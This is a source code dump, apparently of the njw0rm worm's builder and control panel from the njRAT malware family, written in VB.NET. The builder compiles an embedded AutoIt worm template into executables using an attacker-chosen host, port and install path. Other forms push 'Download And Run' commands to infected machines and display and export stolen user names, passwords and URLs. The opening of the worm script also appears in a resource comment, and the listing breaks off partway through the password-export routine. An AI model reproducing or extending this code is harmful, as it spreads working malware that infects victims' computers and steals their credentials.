-------------------------------------------------------------------------------- 1 |  _ 2 | Partial Class FURL 3 | Inherits System.Windows.Forms.Form 4 | 5 | 'Form overrides dispose to clean up the component list. 6 | _ 7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 8 | Try 9 | If disposing AndAlso components IsNot Nothing Then 10 | components.Dispose() 11 | End If 12 | Finally 13 | MyBase.Dispose(disposing) 14 | End Try 15 | End Sub 16 | 17 | 'Required by the Windows Form Designer 18 | Private components As System.ComponentModel.IContainer 19 | 20 | 'NOTE: The following procedure is required by the Windows Form Designer 21 | 'It can be modified using the Windows Form Designer. 22 | 'Do not modify it using the code editor. 23 | _ 24 | Private Sub InitializeComponent() 25 | Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(FURL)) 26 | Me.Label1 = New System.Windows.Forms.Label 27 | Me.Label2 = New System.Windows.Forms.Label 28 | Me.TextBox1 = New System.Windows.Forms.TextBox 29 | Me.TextBox2 = New System.Windows.Forms.TextBox 30 | Me.Button1 = New System.Windows.Forms.Button 31 | Me.Button2 = New System.Windows.Forms.Button 32 | Me.SuspendLayout() 33 | ' 34 | 'Label1 35 | ' 36 | Me.Label1.AutoSize = True 37 | Me.Label1.Location = New System.Drawing.Point(1, 3) 38 | Me.Label1.Name = "Label1" 39 | Me.Label1.Size = New System.Drawing.Size(25, 13) 40 | Me.Label1.TabIndex = 0 41 | Me.Label1.Text = "Link" 42 | ' 43 | 'Label2 44 | ' 45 | Me.Label2.AutoSize = True 46 | Me.Label2.Location = New System.Drawing.Point(1, 43) 47 | Me.Label2.Name = "Label2" 48 | Me.Label2.Size = New System.Drawing.Size(41, 13) 49 | Me.Label2.TabIndex = 1 50 | Me.Label2.Text = "Run As" 51 | ' 52 | 'TextBox1 53 | ' 54 | Me.TextBox1.Location = New System.Drawing.Point(4, 19) 55 | Me.TextBox1.Name = "TextBox1" 56 | Me.TextBox1.Size = New System.Drawing.Size(324, 20) 57 | Me.TextBox1.TabIndex = 2 58 | ' 59 | 'TextBox2 60 | ' 61 | Me.TextBox2.Location = New System.Drawing.Point(4, 59) 62 | Me.TextBox2.Name = "TextBox2" 63 | Me.TextBox2.Size = New System.Drawing.Size(140, 20) 64 | Me.TextBox2.TabIndex = 3 65 | ' 66 | 'Button1 67 | ' 68 | Me.Button1.FlatStyle = System.Windows.Forms.FlatStyle.Flat 69 | Me.Button1.Location = New System.Drawing.Point(155, 45) 70 | Me.Button1.Name = "Button1" 71 | Me.Button1.Size = New System.Drawing.Size(82, 35) 72 | Me.Button1.TabIndex = 4 73 | Me.Button1.Text = "Ok" 74 | Me.Button1.UseVisualStyleBackColor = True 75 | ' 76 | 'Button2 77 | ' 78 | Me.Button2.FlatStyle = System.Windows.Forms.FlatStyle.Flat 79 | Me.Button2.Location = New System.Drawing.Point(243, 45) 80 | Me.Button2.Name = "Button2" 81 | Me.Button2.Size = New System.Drawing.Size(82, 35) 82 | Me.Button2.TabIndex = 5 83 | Me.Button2.Text = "Cancel" 84 | Me.Button2.UseVisualStyleBackColor = True 85 | ' 86 | 'FURL 87 | ' 88 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) 89 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font 90 | Me.BackColor = System.Drawing.Color.Black 91 | Me.ClientSize = New System.Drawing.Size(332, 86) 92 | Me.Controls.Add(Me.Button2) 93 | Me.Controls.Add(Me.Button1) 94 | Me.Controls.Add(Me.TextBox2) 95 | Me.Controls.Add(Me.TextBox1) 96 | Me.Controls.Add(Me.Label2) 97 | Me.Controls.Add(Me.Label1) 98 | Me.ForeColor = System.Drawing.Color.White 99 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle 100 | Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) 101 | Me.MaximizeBox = False 102 | Me.Name = "FURL" 103 | Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen 104 | Me.Text = "Download And Run" 105 | Me.ResumeLayout(False) 106 | Me.PerformLayout() 107 | 108 | End Sub 109 | Friend WithEvents Label1 As System.Windows.Forms.Label 110 | Friend WithEvents Label2 As System.Windows.Forms.Label 111 | Friend WithEvents TextBox1 As System.Windows.Forms.TextBox 112 | Friend WithEvents TextBox2 As System.Windows.Forms.TextBox 113 | Friend WithEvents Button1 As System.Windows.Forms.Button 114 | Friend WithEvents Button2 As System.Windows.Forms.Button 115 | End Class 116 | -------------------------------------------------------------------------------- /njWorm/njw0rm/FURL.vb: -------------------------------------------------------------------------------- 1 | Public Class FURL 2 | 3 | Private Sub TextBox1_KeyDown(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles TextBox1.KeyDown, TextBox2.KeyDown, Me.KeyDown 4 | If e.KeyCode = Keys.Enter Then Button1_Click(sender, e) 5 | End Sub 6 | Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged 7 | Try 8 | TextBox2.Text = Split(TextBox1.Text, ".")(Split(TextBox1.Text, ".").Length - 1) 9 | 10 | Catch ex As Exception 11 | End Try 12 | End Sub 13 | 14 | Private Sub FURL_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load 15 | 16 | End Sub 17 | Public IsOK As Boolean = False 18 | Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click 19 | If TextBox1.Text.Length > 0 And TextBox2.TextLength > 0 Then 20 | If TextBox1.Text.ToLower.StartsWith("http") = False Then 21 | TextBox1.Text &= "http://" 22 | End If 23 | IsOK = True 24 | Me.Close() 25 | End If 26 | End Sub 27 | 28 | Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click 29 | Me.Close() 30 | End Sub 31 | End Class -------------------------------------------------------------------------------- /njWorm/njw0rm/Form2.vb: -------------------------------------------------------------------------------- 1 | Public Class Form2 2 | Private Sub ico_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ico.Click 3 | If ico.Tag Is Nothing Then 4 | Dim f As New OpenFileDialog 5 | f.FileName = "" 6 | f.Filter = "Icon|*.ico" 7 | If f.ShowDialog = Windows.Forms.DialogResult.OK Then 8 | ico.Text = "" 9 | ico.Image = Icon.ExtractAssociatedIcon(f.FileName).ToBitmap 10 | ico.Tag = f.FileName 11 | End If 12 | Else 13 | ico.Tag = Nothing 14 | ico.Text = "Icon" 15 | ico.Image = Nothing 16 | End If 17 | End Sub 18 | Sub compile(ByVal icon As String, ByVal comp As Integer, ByVal Name As String, ByVal host As String, ByVal port As Integer, ByVal exe As String, ByVal dir As String, ByVal out As String) 19 | Dim s As String = My.Resources.src_txt 20 | s = s.Replace("", Name) 21 | s = s.Replace("", host) 22 | s = s.Replace("", port) 23 | s = s.Replace("", exe) 24 | s = s.Replace("", dir) 25 | s = s.Replace("""""", CInt(CheckBox1.Checked)) 26 | s = s.Replace("", dir & exe) 27 | IO.File.WriteAllText(Application.StartupPath & "\njw0rm.au3", s) 28 | Dim p As New ProcessStartInfo 29 | p.FileName = autpath 30 | p.Arguments = "/in " & ChrW(34) & Application.StartupPath & "\njw0rm.au3" & ChrW(34) & " /out " & ChrW(34) & out & ChrW(34) & " /icon " & ChrW(34) & icon & ChrW(34) & " /x86" 31 | If comp = -1 Then 32 | p.Arguments &= " /nopack" 33 | Else 34 | p.Arguments &= " /comp " & comp 35 | End If 36 | Process.Start(p).WaitForExit() 37 | MsgBox(out, , "Done!") 38 | Me.Close() 39 | End Sub 40 | Public autpath As String = Environ("programfiles") & "\AutoIt3\Aut2Exe\Aut2exe.exe" 41 | Private Sub Form2_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load 42 | Me.Icon = F.Icon 43 | If IO.File.Exists(autpath) = False Then 44 | MsgBox("To Use Builder Please Install AutoIt3", , "Builder") 45 | Me.Close() 46 | End If 47 | comp.SelectedIndex = 0 48 | dir.SelectedIndex = 0 49 | Try 50 | port.Value = GTV("bport", port.Value) 51 | Catch ex As Exception 52 | End Try 53 | Try 54 | CheckBox1.Checked = CInt(GTV("melt", CInt(CheckBox1.Checked).ToString)) 55 | Catch ex As Exception 56 | End Try 57 | Try 58 | nam.Text = GTV("nam", nam.Text) 59 | Catch ex As Exception 60 | End Try 61 | Try 62 | host.Text = GTV("host", host.Text) 63 | Catch ex As Exception 64 | End Try 65 | Try 66 | exe.Text = GTV("exe", exe.Text) 67 | Catch ex As Exception 68 | End Try 69 | Try 70 | dir.SelectedIndex = GTV("dir", 0) 71 | Catch ex As Exception 72 | End Try 73 | Try 74 | comp.SelectedIndex = GTV("comp", 0) 75 | Catch ex As Exception 76 | End Try 77 | End Sub 78 | Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click 79 | Dim f As New SaveFileDialog 80 | f.FileName = "w0rm.exe" 81 | f.Filter = "|*.exe||*.scr||*.com" 82 | If f.ShowDialog = Windows.Forms.DialogResult.OK Then 83 | compile(ico.Tag, comp.SelectedIndex - 1, nam.Text, host.Text, port.Value, exe.Text, dir.Text, f.FileName) 84 | Try 85 | STV("bport", port.Value) 86 | Catch ex As Exception 87 | End Try 88 | Try 89 | STV("nam", nam.Text) 90 | Catch ex As Exception 91 | End Try 92 | Try 93 | STV("host", host.Text) 94 | Catch ex As Exception 95 | End Try 96 | Try 97 | STV("exe", exe.Text) 98 | Catch ex As Exception 99 | End Try 100 | Try 101 | STV("dir", dir.SelectedIndex) 102 | Catch ex As Exception 103 | End Try 104 | Try 105 | STV("comp", comp.SelectedIndex) 106 | Catch ex As Exception 107 | End Try 108 | Try 109 | STV("melt", CInt(CheckBox1.Checked).ToString) 110 | Catch ex As Exception 111 | 112 | End Try 113 | End If 114 | End Sub 115 | Private Sub exe_MouseLeave(ByVal sender As Object, ByVal e As System.EventArgs) Handles exe.MouseLeave 116 | If exe.Text <> "" Then 117 | If exe.Text.Contains(".") Then 118 | Select Case Split(exe.Text, ".")(Split(exe.Text, ".").Length - 1).ToLower 119 | Case "exe", "scr", "com" 120 | Case Else 121 | exe.Text &= ".exe" 122 | End Select 123 | Else 124 | exe.Text &= ".exe" 125 | End If 126 | Else 127 | exe.Text = "njw0rm.exe" 128 | End If 129 | End Sub 130 | End Class -------------------------------------------------------------------------------- /njWorm/njw0rm/Generic.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/njRAT/539aa13375473d9c9bf74e81e65bb34bdb348a30/njWorm/njw0rm/Generic.ico -------------------------------------------------------------------------------- /njWorm/njw0rm/LV.designer.vb: -------------------------------------------------------------------------------- 1 |  _ 2 | Partial Class LV 3 | Inherits System.Windows.Forms.ListView 4 | 5 | 'Control overrides dispose to clean up the component list. 6 | _ 7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 8 | Try 9 | If disposing AndAlso components IsNot Nothing Then 10 | components.Dispose() 11 | End If 12 | Finally 13 | MyBase.Dispose(disposing) 14 | End Try 15 | End Sub 16 | 17 | 'Required by the Control Designer 18 | Private components As System.ComponentModel.IContainer 19 | 20 | ' NOTE: The following procedure is required by the Component Designer 21 | ' It can be modified using the Component Designer. Do not modify it 22 | ' using the code editor. 23 | _ 24 | Private Sub InitializeComponent() 25 | components = New System.ComponentModel.Container() 26 | End Sub 27 | 28 | 29 | End Class 30 | 31 | -------------------------------------------------------------------------------- /njWorm/njw0rm/LV.vb: -------------------------------------------------------------------------------- 1 | Public Class LV 2 | Inherits System.Windows.Forms.ListView 3 | Public Sub New() 4 | MyBase.New() 5 | Me.AllowDrop = False 6 | Me.Font = New Font("arial", 8, FontStyle.Bold) 7 | Me.Dock = DockStyle.Fill 8 | Me.FullRowSelect = True 9 | Me.View = Windows.Forms.View.Details 10 | 11 | Me.SetStyle((ControlStyles.OptimizedDoubleBuffer Or ControlStyles.AllPaintingInWmPaint), True) 12 | Me.SetStyle(ControlStyles.EnableNotifyMessage, True) 13 | 14 | End Sub 15 | Public Sub FX() ' fix columns 16 | Me.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize) 17 | 18 | End Sub 19 | Protected Overrides Sub OnNotifyMessage(ByVal m As Message) 20 | Exit Sub 21 | If (m.Msg <> 20) Then 22 | MyBase.OnNotifyMessage(m) 23 | End If 24 | End Sub 25 | #Region "Listview Sort" 26 | Private m_SortingColumn As ColumnHeader 27 | Public Sub cc(ByVal sender As Object, ByVal e As System.Windows.Forms.ColumnClickEventArgs) Handles MyBase.ColumnClick 28 | SyncLock Me 29 | Try 30 | Dim new_sorting_column As ColumnHeader = sender.Columns(e.Column) 31 | Dim sort_order As System.Windows.Forms.SortOrder 32 | If m_SortingColumn Is Nothing Then 33 | sort_order = SortOrder.Ascending 34 | Else 35 | If new_sorting_column.Equals(m_SortingColumn) Then 36 | If m_SortingColumn.Text.StartsWith("+") Then 37 | sort_order = SortOrder.Descending 38 | Else 39 | sort_order = SortOrder.Ascending 40 | End If 41 | Else 42 | sort_order = SortOrder.Ascending 43 | End If 44 | m_SortingColumn.Text = m_SortingColumn.Text.Substring(1) 45 | End If 46 | m_SortingColumn = new_sorting_column 47 | If sort_order = SortOrder.Ascending Then 48 | m_SortingColumn.Text = "+" & m_SortingColumn.Text 49 | Else 50 | m_SortingColumn.Text = "-" & m_SortingColumn.Text 51 | End If 52 | If sender Is Nothing Then Exit Sub 53 | sender.ListViewItemSorter = New clsListviewSorter(e.Column, sort_order) 54 | sender.Sort() 55 | sender.ListViewItemSorter = Nothing 56 | Catch ex As Exception 57 | 58 | End Try 59 | End SyncLock 60 | 61 | 62 | End Sub 63 | Public Class clsListviewSorter ' Implements a comparer 64 | Implements IComparer 65 | Private m_ColumnNumber As Integer 66 | Private m_SortOrder As SortOrder 67 | Public Sub New(ByVal column_number As Integer, ByVal sort_order As SortOrder) 68 | m_ColumnNumber = column_number 69 | m_SortOrder = sort_order 70 | End Sub 71 | ' Compare the items in the appropriate column 72 | Public Function Compare(ByVal x As Object, ByVal y As Object) As Integer Implements System.Collections.IComparer.Compare 73 | Dim item_x As ListViewItem = DirectCast(x, ListViewItem) 74 | Dim item_y As ListViewItem = DirectCast(y, ListViewItem) 75 | ' Get the sub-item values. 76 | Dim string_x As String 77 | If item_x.SubItems.Count <= m_ColumnNumber Then 78 | string_x = "" 79 | Else 80 | string_x = item_x.SubItems(m_ColumnNumber).Text 81 | End If 82 | Dim string_y As String 83 | If item_y.SubItems.Count <= m_ColumnNumber Then 84 | string_y = "" 85 | Else 86 | string_y = item_y.SubItems(m_ColumnNumber).Text 87 | End If 88 | ' Compare them. 89 | If m_SortOrder = SortOrder.Ascending Then 90 | If IsNumeric(string_x) And IsNumeric(string_y) Then 91 | Return Val(string_x).CompareTo(Val(string_y)) 92 | ElseIf IsDate(string_x) And IsDate(string_y) Then 93 | Return DateTime.Parse(string_x).CompareTo(DateTime.Parse(string_y)) 94 | Else 95 | Return String.Compare(string_x, string_y) 96 | End If 97 | Else 98 | If IsNumeric(string_x) And IsNumeric(string_y) Then 99 | Return Val(string_y).CompareTo(Val(string_x)) 100 | ElseIf IsDate(string_x) And IsDate(string_y) Then 101 | Return DateTime.Parse(string_y).CompareTo(DateTime.Parse(string_x)) 102 | Else 103 | Return String.Compare(string_y, string_x) 104 | End If 105 | End If 106 | End Function 107 | End Class 108 | #End Region 109 | End Class -------------------------------------------------------------------------------- /njWorm/njw0rm/My Project/Application.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:4.0.30319.17929 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | -------------------------------------------------------------------------------- /njWorm/njw0rm/My Project/Application.myapp: -------------------------------------------------------------------------------- 1 |  2 | 3 | true 4 | Form1 5 | false 6 | 0 7 | true 8 | 0 9 | 0 10 | true 11 | 12 | -------------------------------------------------------------------------------- /njWorm/njw0rm/My Project/AssemblyInfo.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Reflection 3 | Imports System.Runtime.InteropServices 4 | 5 | ' General Information about an assembly is controlled through the following 6 | ' set of attributes. Change these attribute values to modify the information 7 | ' associated with an assembly. 8 | 9 | ' Review the values of the assembly attributes 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 'The following GUID is for the ID of the typelib if this project is exposed to COM 21 | 22 | 23 | ' Version information for an assembly consists of the following four values: 24 | ' 25 | ' Major Version 26 | ' Minor Version 27 | ' Build Number 28 | ' Revision 29 | ' 30 | ' You can specify all the values or you can default the Build and Revision Numbers 31 | ' by using the '*' as shown below: 32 | ' 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /njWorm/njw0rm/My Project/Resources.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:4.0.30319.17929 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | Imports System 15 | 16 | Namespace My.Resources 17 | 18 | 'This class was auto-generated by the StronglyTypedResourceBuilder 19 | 'class via a tool like ResGen or Visual Studio. 20 | 'To add or remove a member, edit your .ResX file then rerun ResGen 21 | 'with the /str option, or rebuild your VS project. 22 | ''' 23 | ''' A strongly-typed resource class, for looking up localized strings, etc. 24 | ''' 25 | _ 29 | Friend Module Resources 30 | 31 | Private resourceMan As Global.System.Resources.ResourceManager 32 | 33 | Private resourceCulture As Global.System.Globalization.CultureInfo 34 | 35 | ''' 36 | ''' Returns the cached ResourceManager instance used by this class. 37 | ''' 38 | _ 39 | Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager 40 | Get 41 | If Object.ReferenceEquals(resourceMan, Nothing) Then 42 | Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("njw0rm.Resources", GetType(Resources).Assembly) 43 | resourceMan = temp 44 | End If 45 | Return resourceMan 46 | End Get 47 | End Property 48 | 49 | ''' 50 | ''' Overrides the current thread's CurrentUICulture property for all 51 | ''' resource lookups using this strongly typed resource class. 52 | ''' 53 | _ 54 | Friend Property Culture() As Global.System.Globalization.CultureInfo 55 | Get 56 | Return resourceCulture 57 | End Get 58 | Set 59 | resourceCulture = value 60 | End Set 61 | End Property 62 | 63 | ''' 64 | ''' Looks up a localized resource of type System.Byte[]. 65 | ''' 66 | Friend ReadOnly Property About() As Byte() 67 | Get 68 | Dim obj As Object = ResourceManager.GetObject("About", resourceCulture) 69 | Return CType(obj,Byte()) 70 | End Get 71 | End Property 72 | 73 | ''' 74 | ''' Looks up a localized string similar to #comments-start 75 | '''njw0rm : v0.3.3a 76 | '''Write By: njq8 77 | '''@njq8 78 | '''Last Update: 2013/5/16 79 | '''#comments-end 80 | ''' 81 | '''#NoTrayIcon 82 | '''#include <Misc.au3> 83 | '''#include <string.au3> 84 | '''#Include <File.au3> 85 | '''#Include <Array.au3> 86 | '''#include <SQLite.au3> 87 | '''#include <SQLite.dll.au3> 88 | '''#include <Process.au3> 89 | '''Opt("RunErrorsFatal", 0) 90 | '''Local $Host = "<host>" 91 | '''Local $PORT = <port> 92 | '''Local $EXE = "<exe>" 93 | '''Local $DIR = EnvGet("<dir>") & "\" 94 | '''Local $VR = "4.0" 95 | '''Local $name = "<name>" 96 | '''$name &= "_" & Hex( driveGetSerial( @HomeDrive)) 97 | '''$OS= [rest of string was truncated]";. 98 | ''' 99 | Friend ReadOnly Property src_txt() As String 100 | Get 101 | Return ResourceManager.GetString("src_txt", resourceCulture) 102 | End Get 103 | End Property 104 | End Module 105 | End Namespace 106 | -------------------------------------------------------------------------------- /njWorm/njw0rm/My Project/Settings.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:4.0.30319.17929 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | 15 | Namespace My 16 | 17 | _ 20 | Partial Friend NotInheritable Class MySettings 21 | Inherits Global.System.Configuration.ApplicationSettingsBase 22 | 23 | Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) 24 | 25 | #Region "My.Settings Auto-Save Functionality" 26 | #If _MyType = "WindowsForms" Then 27 | Private Shared addedHandler As Boolean 28 | 29 | Private Shared addedHandlerLockObject As New Object 30 | 31 | _ 32 | Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) 33 | If My.Application.SaveMySettingsOnExit Then 34 | My.Settings.Save() 35 | End If 36 | End Sub 37 | #End If 38 | #End Region 39 | 40 | Public Shared ReadOnly Property [Default]() As MySettings 41 | Get 42 | 43 | #If _MyType = "WindowsForms" Then 44 | If Not addedHandler Then 45 | SyncLock addedHandlerLockObject 46 | If Not addedHandler Then 47 | AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings 48 | addedHandler = True 49 | End If 50 | End SyncLock 51 | End If 52 | #End If 53 | Return defaultInstance 54 | End Get 55 | End Property 56 | End Class 57 | End Namespace 58 | 59 | Namespace My 60 | 61 | _ 64 | Friend Module MySettingsProperty 65 | 66 | _ 67 | Friend ReadOnly Property Settings() As Global.njw0rm.My.MySettings 68 | Get 69 | Return Global.njw0rm.My.MySettings.Default 70 | End Get 71 | End Property 72 | End Module 73 | End Namespace 74 | -------------------------------------------------------------------------------- /njWorm/njw0rm/My Project/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /njWorm/njw0rm/Resources/About.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/njRAT/539aa13375473d9c9bf74e81e65bb34bdb348a30/njWorm/njw0rm/Resources/About.exe -------------------------------------------------------------------------------- /njWorm/njw0rm/njdb.vb: -------------------------------------------------------------------------------- 1 | Imports System.Data 2 | 3 | Public Class njdb 4 | ' njdb v2.0 bY njq8 5 | Private WithEvents W As DataTable 6 | Public ReadOnly Path As String = "" 7 | Sub New(ByVal PathToDb As String) 8 | 9 | Path = PathToDb 10 | If IO.File.Exists(Path) Then 11 | Try 12 | Dim r As New Data.DataSet 13 | r.ReadXml(Path) 14 | W = r.Tables(0) 15 | r.Dispose() 16 | Exit Sub 17 | Catch ex As Exception 18 | End Try 19 | End If 20 | W = New Data.DataTable("njdb") 21 | End Sub 22 | Public Sub Dispose() 23 | W.Dispose() 24 | W = Nothing 25 | End Sub 26 | Public Sub Save() 27 | W.WriteXml(Path) 28 | End Sub 29 | Public Sub AddColumn(ByVal Name As String, ByVal Unique As Boolean) 30 | For Each x In Columns() 31 | If x.ToLower = Name.ToLower Then 32 | Exit Sub 33 | End If 34 | Next 35 | W.Columns.Add(Name).Unique = Unique 36 | Save() 37 | End Sub 38 | Public Sub DeleteColumn(ByVal Name As String) 39 | W.Columns.Remove(Name) 40 | Save() 41 | End Sub 42 | Public Sub DeleteColumn(ByVal Index As Integer) 43 | W.Columns.RemoveAt(Index) 44 | Save() 45 | End Sub 46 | Public Sub RemoveItem(ByVal index As Integer) 47 | W.Rows.RemoveAt(index) 48 | Save() 49 | End Sub 50 | Public Function Columns() As String() 51 | Dim q As New List(Of String) 52 | For Each x As DataColumn In W.Columns 53 | q.Add(x.ColumnName) 54 | Next 55 | Return q.ToArray 56 | End Function 57 | Public Function Columns(ByVal index As Integer) As String 58 | Return W.Columns(index).ColumnName 59 | End Function 60 | Public Function Items(ByVal index As Integer) As dbItem 61 | Return New dbItem(W.Rows(index), Me) 62 | End Function 63 | 64 | Public Function FindItem(ByVal ColmIndex As Integer, ByVal Value As String) As dbItem() 65 | Try 66 | Dim q As New List(Of dbItem) 67 | For Each x As Data.DataRow In _ 68 | W.Select(Columns(ColmIndex) & " Like '" & Value & "'") 69 | q.Add(New dbItem(x, Me)) 70 | Next 71 | Return q.ToArray 72 | Catch ex As Exception 73 | Return New dbItem() {} 74 | End Try 75 | End Function 76 | Public Sub ClearItems() 77 | W.Rows.Clear() 78 | Save() 79 | End Sub 80 | Public Function AddItem(ByVal ParamArray Values As String()) As dbItem 81 | If FindItem(0, Values(0)).Length = 0 Then 82 | Dim d = New dbItem(W.Rows.Add(Values), Me) 83 | Save() 84 | Return d 85 | Else 86 | Return FindItem(0, Values(0))(0) 87 | End If 88 | End Function 89 | Public Function Count() As Integer 90 | Return W.Rows.Count 91 | End Function 92 | Public Function Items() As dbItem() 93 | Dim q As New List(Of dbItem) 94 | SyncLock W.Rows 95 | For Each x As Data.DataRow In W.Rows 96 | q.Add(New dbItem(x, Me)) 97 | Next 98 | End SyncLock 99 | Return q.ToArray 100 | End Function 101 | Public Class dbItem 102 | Private db As njdb 103 | Private rw As Data.DataRow 104 | Sub New(ByVal rw As Data.DataRow, ByVal db As njdb) 105 | Me.rw = rw 106 | Me.db = db 107 | End Sub 108 | Public Property Value(ByVal index As Integer) As String 109 | Get 110 | Return rw.Item(index) 111 | End Get 112 | Set(ByVal value As String) 113 | rw.Item(index) = value 114 | db.Save() 115 | End Set 116 | End Property 117 | Public Sub Remove() 118 | db.W.Rows.Remove(rw) 119 | db.Save() 120 | End Sub 121 | Public Property Value(ByVal ColmName As String) As String 122 | Get 123 | Return rw.Item(ColmName) 124 | End Get 125 | Set(ByVal value As String) 126 | rw.Item(ColmName) = value 127 | db.Save() 128 | End Set 129 | End Property 130 | Public Property Values() As Object() 131 | Get 132 | Return rw.ItemArray 133 | End Get 134 | Set(ByVal value As Object()) 135 | rw.ItemArray = value 136 | db.Save() 137 | End Set 138 | End Property 139 | End Class 140 | End Class -------------------------------------------------------------------------------- /njWorm/njw0rm/pwd.vb: -------------------------------------------------------------------------------- 1 | Public Class pwd 2 | 3 | Private Sub pwd_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load 4 | Me.Icon = F.Icon 5 | title() 6 | Me.Show() 7 | For Each x As ToolStripItem In ContextMenuStrip1.Items 8 | x.ForeColor = Color.IndianRed 9 | x.BackColor = Color.Black 10 | Next 11 | Ref() 12 | End Sub 13 | Sub title() 14 | Me.Text = "Passwords[ x ]".Replace("x", Lv1.Items.Count) 15 | End Sub 16 | Public Sub Ref() 17 | For Each x In F.db.Items 18 | 19 | If Lv1.Items.ContainsKey(x.Value(0)) = False Then 20 | Dim xx As String() = Split(x.Value(0), "_") 21 | Dim l = Lv1.Items.Add(x.Value(0), DEB(xx(1)), 0) 22 | l.SubItems.Add(DEB(xx(2))) 23 | l.SubItems.Add(DEB(xx(0))) 24 | End If 25 | Next 26 | title() 27 | Lv1.FX() 28 | End Sub 29 | 30 | Private Sub Lv1_DoubleClick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Lv1.DoubleClick 31 | If Lv1.SelectedItems.Count = 0 Then Exit Sub 32 | Try 33 | Process.Start(Lv1.SelectedItems(0).SubItems(2).Text) 34 | Catch ex As Exception 35 | 36 | End Try 37 | End Sub 38 | 39 | Private Sub Lv1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Lv1.SelectedIndexChanged 40 | 41 | End Sub 42 | 43 | Private Sub CopyUSERToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CopyUSERToolStripMenuItem.Click 44 | If Lv1.SelectedItems.Count = 0 Then Exit Sub 45 | Try 46 | Clipboard.SetText(Lv1.SelectedItems(0).SubItems(0).Text) 47 | 48 | Catch ex As Exception 49 | 50 | End Try 51 | 52 | End Sub 53 | 54 | Private Sub CopyPassToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CopyPassToolStripMenuItem.Click 55 | If Lv1.SelectedItems.Count = 0 Then Exit Sub 56 | Try 57 | Clipboard.SetText(Lv1.SelectedItems(0).SubItems(1).Text) 58 | 59 | Catch ex As Exception 60 | 61 | End Try 62 | End Sub 63 | 64 | Private Sub CopyURLToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CopyURLToolStripMenuItem.Click 65 | If Lv1.SelectedItems.Count = 0 Then Exit Sub 66 | Try 67 | Clipboard.SetText(Lv1.SelectedItems(0).SubItems(2).Text) 68 | 69 | Catch ex As Exception 70 | 71 | End Try 72 | End Sub 73 | 74 | Private Sub VisitURLToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles VisitURLToolStripMenuItem.Click 75 | If Lv1.SelectedItems.Count = 0 Then Exit Sub 76 | Try 77 | Process.Start(Lv1.SelectedItems(0).SubItems(2).Text) 78 | Catch ex As Exception 79 | 80 | End Try 81 | End Sub 82 | 83 | Private Sub pwd_Resize(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Resize 84 | Lv1.FX() 85 | End Sub 86 | 87 | Private Sub SaveAllToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles SaveAllToolStripMenuItem.Click 88 | With New SaveFileDialog 89 | .Filter = "Text|.txt" 90 | .FileName = "Pass.txt" 91 | If .ShowDialog = Windows.Forms.DialogResult.OK Then 92 | If IO.File.Exists(.FileName) Then IO.File.Delete(.FileName) 93 | Dim o = New IO.StreamWriter(New IO.FileStream(.FileName, IO.FileMode.OpenOrCreate)) 94 | For Each x As ListViewItem In Lv1.Items 